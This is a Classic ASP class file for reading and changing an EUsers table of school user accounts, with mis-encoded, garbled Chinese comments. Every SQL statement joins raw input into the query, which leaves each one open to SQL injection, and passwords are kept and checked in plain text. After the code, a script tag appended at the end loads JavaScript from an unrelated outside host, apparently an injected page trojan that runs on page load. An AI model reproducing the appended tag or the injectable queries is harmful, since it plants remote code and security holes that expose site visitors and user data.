<%
  '本類用于保存對(duì)表EUsers的數(shù)據(jù)庫(kù)訪問操作
  '表的每個(gè)字段對(duì)應(yīng)類的一個(gè)成員變量
  Class EUsers
    Public UserName     '用戶名
    Public UserPwd      '用戶密碼
    Public UserType     '用戶類型
    public RealName     '實(shí)際姓名
    public UserClass    '所屬班級(jí)
    Public rs       '結(jié)果集
    Private strSql  'SQL語句
	'讀取單個(gè)用戶信息
    public sub GetUserInfo(uname)
	  '創(chuàng)建Recordset對(duì)象，處理查詢結(jié)果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設(shè)置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設(shè)置游標(biāo)類型
	  rs.CursorType = 3
	  '設(shè)置查詢的SELECT語句
 	  sql = "SELECT * FROM EUsers WHERE UserName='" & uname & "'"
	  '打開記錄集
	  rs.Open sql  
    end sub
	
	'獲取所有用戶信息
    public sub GetUserlist()
	  '創(chuàng)建Recordset對(duì)象，處理查詢結(jié)果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設(shè)置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設(shè)置游標(biāo)類型
	  rs.CursorType = 3
	  '設(shè)置查詢的SELECT語句
      Sql = "SELECT * FROM EUsers Order By UserClass,RealName"
	  '打開記錄集
	  rs.Open sql
    End Sub

	'讀取班級(jí)獲取所有用戶信息
    public sub GetClassInfo()
	  '創(chuàng)建Recordset對(duì)象，處理查詢結(jié)果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設(shè)置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設(shè)置游標(biāo)類型
	  rs.CursorType = 3
	  '設(shè)置查詢的SELECT語句
      Sql = "SELECT Distinct UserClass FROM EUsers Order By UserClass"
	  '打開記錄集
	  rs.Open sql
    End Sub
	'插入用戶信息
    Public Sub InsertUser()
      strSql = "Insert Into EUsers Values('"& UserName & "','" & UserPwd & "'," & UserType & _
        ",'" & RealName & "'," & UserClass & ")"
      conn.Execute(strSql)
    End Sub
	'修改用戶信息
    Public Sub UpdateUser(uname)
      strSql = "Update EUsers Set UserClass="&UserClass & ",RealName='" &RealName &"' Where UserName='" & uname & "'"
      conn.Execute(strSql)
    End Sub
	'刪除用戶信息
    Public Sub DeleteUser(uname)
      strSql = "Delete From EUsers Where UserName='" & uname & "'"
      conn.Execute(strSql)
    End Sub
    '更新用戶密碼
    Public Sub UpdatePassword()
      strSql = "Update EUsers Set UserPwd='" & UserPwd & "' Where UserName='" & UserName & "'"
      conn.Execute(strSql)
    End Sub
    '讀取用戶信息
    Public Function HaveUser(flag)
      '創(chuàng)建Recordset對(duì)象，處理查詢結(jié)果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設(shè)置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設(shè)置游標(biāo)類型
	  rs.CursorType = 3
	  '設(shè)置查詢的SELECT語句
      Sql = "SELECT * FROM EUsers Where UserName='" & UserName & "' And UserPwd='" & UserPwd & _
        "' And UserType=" & flag
	  '打開記錄集
	  rs.Open sql
	  If rs.EOF Then
        HaveUser = 0
	  Else
        HaveUser = 1
	  End If
    End Function
    '讀取用戶信息
    Public Function HaveUserName(uname)
      '創(chuàng)建Recordset對(duì)象，處理查詢結(jié)果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設(shè)置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設(shè)置游標(biāo)類型
	  rs.CursorType = 3
	  '設(shè)置查詢的SELECT語句
      Sql = "SELECT * FROM EUsers Where UserName='" & uname & "'"
	  '打開記錄集
	  rs.Open sql
	  If rs.EOF Then
        HaveUserName = false
	  Else
        HaveUserName = true
	  End If
    End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>